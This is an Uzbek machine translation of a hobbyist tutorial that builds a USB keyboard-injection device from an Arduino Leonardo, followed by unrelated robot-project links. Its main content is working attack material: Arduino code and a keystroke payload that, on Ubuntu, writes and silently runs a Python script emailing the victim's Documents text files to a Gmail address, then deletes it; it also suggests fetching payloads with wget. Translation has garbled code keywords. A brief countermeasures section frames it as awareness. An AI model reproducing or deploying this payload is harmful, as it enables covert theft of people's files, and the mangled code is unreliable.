Mundarija:
- 1 -qadam: materiallar
- 2 -qadam: Qurilmani yaratish
- 3 -qadam: Tafsilotlar qanday ishlaydi
- 4 -qadam: qarshi choralar
Video: Arduino klaviaturasining ekspozitsiyasi (HID) va oldini olish: 4 qadam (rasmlar bilan)
2024 Muallif: John Day | [email protected]. Oxirgi o'zgartirilgan: 2024-01-30 13:27
Ushbu loyihada biz HID (humain interfeysi qurilmasi) yordamida USB hujumini simulyatsiya qilish uchun arduino leonardodan foydalanamiz.
Men bu qo'llanmani xakerlarga yordam berish uchun emas, balki sizga haqiqiy xavflarni ko'rsatish va o'zingizni bu xavflardan qanday himoya qilish uchun yaratdim. Bu qurilma xakerlar uchun har qanday platformada ishlatilishi mumkin bo'lgan qurilma emas, bu kontseptsiyaning batafsil tasdig'idir.
Biz quyidagilarni o'rganamiz:
- klaviaturani taqlid qilish uchun arduino leonardodan qanday foydalanish kerak
- SD -kartadagi ma'lumotlarni qanday o'qish kerak
- fayllarni skanerlaydigan va ularni elektron pochta orqali yuboradigan python skriptini qanday yaratish kerak
- USB xakerlik qurilmalaridan o'zingizni qanday himoya qilish kerak
1 -qadam: materiallar
Qismlar:
1. Arduino Leonardo
2. micro USB kartani o'quvchi
3. bir necha GB SD -karta
4. shunga o'xshash tugma (VCC, er va signal)
5. ayol-erkak va ayol-ayol o'tish kabeli
6. USB -dan USB -kabelgacha
2 -qadam: Qurilmani yaratish
Qurilish bo'yicha ko'rsatma berishdan oldin, biz ishlash tamoyilini ko'rib chiqamiz:
Arduino Leonardo o'zini inson interfeysi qurilmasi (HID) kabi tutishi mumkin, shuning uchun sichqoncha va klaviaturani taqlid qilishi mumkin. Biz bu imkoniyatdan terminalni (UBUNTU linuxda) ochish va foydalanuvchining uy papkasi ichidagi /Hujjatlar papkasiga.txt fayllarini ko'chirish va kimgadir yuborish uchun kichik skript yozish uchun foydalanamiz. Agar siz batafsil ma'lumotga ega bo'lishni istasangiz, keyingi bosqichga o'ting.
Chunki bu demo -qurilma juda oddiy, biz hech narsani lehimlamaymiz.
Qurilish bo'yicha ko'rsatmalar
Ishni boshlashdan oldin, biriktirilgan fayllarni tekshiring, men chizish sxemalarini va barcha kerakli fayllarni biriktirdim
1. Komponentlarni yig'ing:
* mikro USB kabelini arduino -ga ulang
* kalit tugmachasini arduino -ga ulang (er, vcc va chiqish moduli D8 ga)
* kartani o'quvchini arduino -ga ulang (ICSP sarlavhasi yordamida). Arduino Leonardoda ICSP sarlavhasi raqamli pinlarga ulanmagan, shuning uchun siz kartani o'quvchini ICSP sarlavhasiga ulashingiz kerak. ICSP-ning ba'zi rasmlarini bu erda topishingiz mumkin: https://learn.sparkfun.com/tutorials/installing-an…. SS pinini raqamli pin 10 ga ulang
2. arduino kodini oling, siz mening arduino omborimni github -da klonlashingiz mumkin: https://github.com/danionescu0/arduino va loyihalar/keyboard_exploit -ga o'ting yoki pastdan oling:
#"Keyboard.h" ni qo'shing
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Kutish::"; String commandStartingPoint = "Buyruq::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Karta ishlamay qoldi, yoki mavjud emas!"); qaytish; }} void loop () {int buttonState = digitalRead (buttonPin); agar ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Yuklandi!"); kechikish (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Belgilangan fayl nomi SD -kartada yo'q, filenameOnCard -ni tekshiring!"); } Qator qatori; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (chiziq); sendToKeyboard (chiziq); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); qaytish; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Matn:"); Serial.println (chiziq); Keyboard.println (chiziq); EnterEnter () ni bosing; qaytish; } Serial.println ("Buyruq:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String buyrug'i = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (buyruq! = "") {Serial.print ("Buyruq topildi:"); Serial.println (buyruq); Keyboard.press (getCommandCode (buyruq)); kechikish (delayBetweenCommands); }} Keyboard.releaseAll (); kechikish (delayBetweenCommands); } bekor qilishEnEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); kechikish (uyqu miqdori); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (matnli belgilar, 2); char kodi = textCharacters [0]; kod = (matn == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kod; kod = (matn == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kod; kod = (matn == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kod; kod = (matn == "KEY_UP_ARROW")? KEY_UP_ARROW: kod; kod = (matn == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kod; kod = (matn == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kod; kod = (matn == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kod; kod = (matn == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kod; kod = (matn == "KEY_BACKSPACE")? KEY_BACKSPACE: kod; kod = (matn == "KEY_TAB")? KEY_TAB: kod; kod = (matn == "KEY_RETURN")? KEY_RETURN: kod; kod = (matn == "KEY_ESC")? KEY_ESC: kod; kod = (matn == "KEY_INSERT")? KEY_INSERT: kod; kod = (matn == "KEY_DELETE")? KEY_DELETE: kod; kod = (matn == "KEY_PAGE_UP")? KEY_PAGE_UP: kod; kod = (matn == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kod; kod = (matn == "KEY_HOME")? KEY_HOME: kod; kod = (matn == "KEY_END")? KEY_END: kod; kod = (matn == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kod; kod = (matn == "KEY_F1")? KEY_F1: kod; kod = (matn == "KEY_F2")? KEY_F2: kod; kod = (matn == "KEY_F3")? KEY_F3: kod; kod = (matn == "KEY_F4")? KEY_F4: kod; kod = (matn == "KEY_F5")? KEY_F5: kod; kod = (matn == "KEY_F6")? KEY_F6: kod; kod = (matn == "KEY_F7")? KEY_F7: kod; kod = (matn == "KEY_F8")? KEY_F8: kod; kod = (matn == "KEY_F9")? KEY_F9: kod; kod = (matn == "KEY_F10")? KEY_F10: kod; kod = (matn == "KEY_F11")? KEY_F1: kod; kod = (matn == "KEY_F12")? KEY_F2: kod;
qaytarish kodi;
}
3. Kodni arduino -ga yuklang, 9600 bod tezligi, ketma -ket port va arduino leonardoni tanlang
4. SD kartani FAT16 yoki FAT32 yordamida formatlang
5. Agar siz github repo -ni yuqoridan klonlagan bo'lsangiz, hack.txt faylini kartaga nusxa ko'chiring, aks holda fayl quyida keltirilgan:
Buyruq:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Buyruqlar:: KEY_INSERT smtplib import glob, os.path -dan elektron pochta orqali import qilish. MIMEText elektron pochtadan MIMEText -ni import qiladi. COMMASPACE -ni import qilish, elektron pochtani import kodlovchilaridan formatlash.
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'qabul qiluvchi_adress' scan_documents_location = 'Hujjatlar'
subject = body = 'Buzilgan kompyuterdan fayllar'
header = 'Kimga: {0} nKimdan: {1} nMavzu: {2} n'.format (manzilga, smtp_user, mavzu)
def sendMail (mavzu, matn, fayllar = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (matn)) fayllardagi fayllar uchun: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (qism) qismi. add_header ('Kontent-joylashuvi', 'biriktirma; fayl nomi = " % s"' % os.path.basename (fayl)) msg.attach (qism)
server = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], mavzu, tanasi, glob.glob ("{0}/{1}/*. txt". format (kengaytiruvchi ("~"), scan_documents_location)))
Kutish:: 50 buyrug'i:: KEY_ESC Kutish:: 100: x Uyqu:: 500 nohup python hack.py & Kutish:: 700 rm -rf hack.py Kutish:: 400 buyruq:: KEY_LEFT_ALT, KEY_F4
6. Quyidagi qatorlarni tahrir qiling:
smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password' to_address = 'qabul qiluvchining manzili'
Va elektron pochta manzilingiz bilan almashtiring
7. Kartani chiqarib oling va uni arduino kartani o'quvchiga joylashtiring
3 -qadam: Tafsilotlar qanday ishlaydi
Hujum qanday ishlaydi:
1. Tugma bosilganda, Leonardo sd -kartani o'quvchi yordamida sd -kartani o'qiydi. Kartada kalitlar va tugmalar birikmasidan iborat maxsus fayl bo'ladi. Fayl nomi "hack.txt".
Fayl xom matnni o'z ichiga olishi mumkin va u xuddi klaviaturaga o'tadi.
Shuningdek, u "Sleep::" va "Command::" kabi maxsus buyruqlarni o'z ichiga olishi mumkin.
Quyidagi kabi chiziq:
Kutish:: 200 - 200 ms uyquni anglatadi
Quyidagi kabi chiziq:
Buyruq:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t chap ctrl bosilgan, chap pastki bosilgan, t bosilgan va hamma bo'shatilgan degan ma'noni anglatadi.
Siz bu erda barcha maxsus kalitlarni tekshirishingiz mumkin:
2. Leonardo satrma -qator o'qiydi, buyruqlarni sharhlaydi va klaviaturadagi tugmachalarga taqlid qiladi. "Hack.txt" faylida quyidagilar bajariladigan tugmalar birikmasi mavjud (UBUNTU linux uchun):
a. terminal ochiladi (CTRL + ALT + T)
b. vi yordamida yaratish uchun python faylini ochadi ("vi hack.py" deb yozadi)
v. Hujjatlar uy papkasidagi barcha matnli fayllarni to'playdigan va ularni belgilangan gmail manziliga yuboradigan python skriptini yozadi.
d. faylni fonda ishlaydi ("nohup python hack.py &")
e. faylni o'chiradi (rm -rf hack.py)
f. terminalni yopadi (ALT + F4)
Bularning barchasi bir necha soniya ichida o'tadi va iz qoldirmaydi.
Yaxshilanishlar va muammolarni bartaraf etish
* Siz terminalni ochganimdan keyin python faylini yozayotganimni payqadingiz. Buning eng yaxshi usuli - uni "wget some_url" buyrug'i yordamida bir joyga joylashtirish va keyin uni hack.py deb qayta nomlash.
* Shuningdek, biz maqsadli operatsion tizim uchun tayyor ekspluatatsiyani yuklab olishimiz yoki ishga tushirishimiz mumkin
* Wi -Fi modulga qo'shilishi mumkin va xakerlarni WIFI orqali yuklash mumkin
* siz arduino micro dan foydalanishingiz mumkin (bu kichikroq) va unga ekspluatatsiya kodini kiriting (uni kichikroq qilish uchun)
Cheklovlar
1. Simulyatsiya qilingan qurilmada (klaviatura va sichqoncha) hech qanday teskari aloqa yo'qligi sababli, biz buyruq bergandan keyin nima bo'lishini bilmaymiz. Masalan, men terminalni ochish buyrug'ini beryapman, lekin u qachon ochilishini bilmayman, shuning uchun yozilgan belgilar yo'qolmasligi uchun o'zboshimchalik bilan kechiktirishni ko'rsatish kerak.
2. USB portiga kira olmaslik yoki biror narsani o'rnatish uchun ruxsat kabi muammolarga duch kelishimiz mumkin
3. Yozish tezligi Leonardoda unchalik yaxshi emas
4. Faqat maqsadli operatsion tizimda ishlaydi (bizda UBUNTU linux)
Keyingi bosqichda kompyuterimizni buzib kirishini oldini olish uchun ushbu cheklovlardan foydalanish yo'llarini topishga harakat qilamiz
4 -qadam: qarshi choralar
1. USB portlarini o'chirib qo'yish
-Windows uchun siz ushbu qo'llanmani tekshirishingiz mumkin:
2. USB qurilmalarini oq ro'yxatga olish:
- derazalar uchun:
2. Uzoqda bo'lmaganingizda kompyuteringizni qulflang
3. Root sifatida kirmang (biror narsani o'rnatish uchun parollar kerak)
4. O'zingizni yangilab turing (avtomatik yangilanishlar)
Tavsiya:
LEGO robotining oldini olish uchun to'siqlar: 8 qadam (rasmlar bilan)
To'siqlardan qochish LEGO robotidan: Biz LEGO -ni yaxshi ko'ramiz va biz ham Crazy Circuits -ni yaxshi ko'ramiz, shuning uchun biz ikkalasini devorlarga va boshqa narsalarga yugurishning oldini oladigan oddiy va qiziqarli robotga birlashtirishni xohladik. Biz sizga o'z uyimizni qanday qurganimizni ko'rsatamiz va o'zingiz yaratishingiz uchun kerakli asoslarni aytib beramiz.
Arduino Nano yordamida robotning oldini olish: 5 qadam
Arduino Nano yordamida robotni to'sib qo'ymaslik: Men bu ko'rsatmada Arduino yordamida robotni chetlab o'tishga qanday to'siq qo'yish mumkinligini tasvirlab beraman
Ultrasonik sensorlar yordamida robotning oldini olish: 9 qadam (rasmlar bilan)
Ultrasonik sensorlar yordamida to'siqlardan qochadigan robot: Bu ultratovushli sensorlar (HC SR 04) va Arduino Uno platasi yordamida to'siqlardan qochish robotining oddiy loyihasidir. Robot to'siqlarni chetlab o'tib, sensorlar tomonidan ta'qib qilishning eng yaxshi usulini tanlaydi. o'quv loyihasi, baham ko'ring
Arduino Uno yordamida robotning oldini olish: 5 qadam (rasmlar bilan)
Arduino Uno yordamida robotni to'sib qo'ymaslik: Salom bolalar, bu juda oddiy va ishlaydigan loyiha, bu arduino -dan foydalanadigan to'siqlardan qochuvchi robot deb ataladi va bu loyihaning o'ziga xos xususiyati shundaki, u bluetooth orqali smartfonda qanday sayohat qilayotgani haqida buyruq beradi
OAWRni qanday qilish kerak (Yugurish robotining oldini olish): 7 qadam (rasmlar bilan)
OAWRni qanday qilish kerak? Ammo o'yinchoq sotib olishdan nima zavq, siz motor, plastmassa plastinka va murvat va dastadan yasashni boshlashingiz mumkin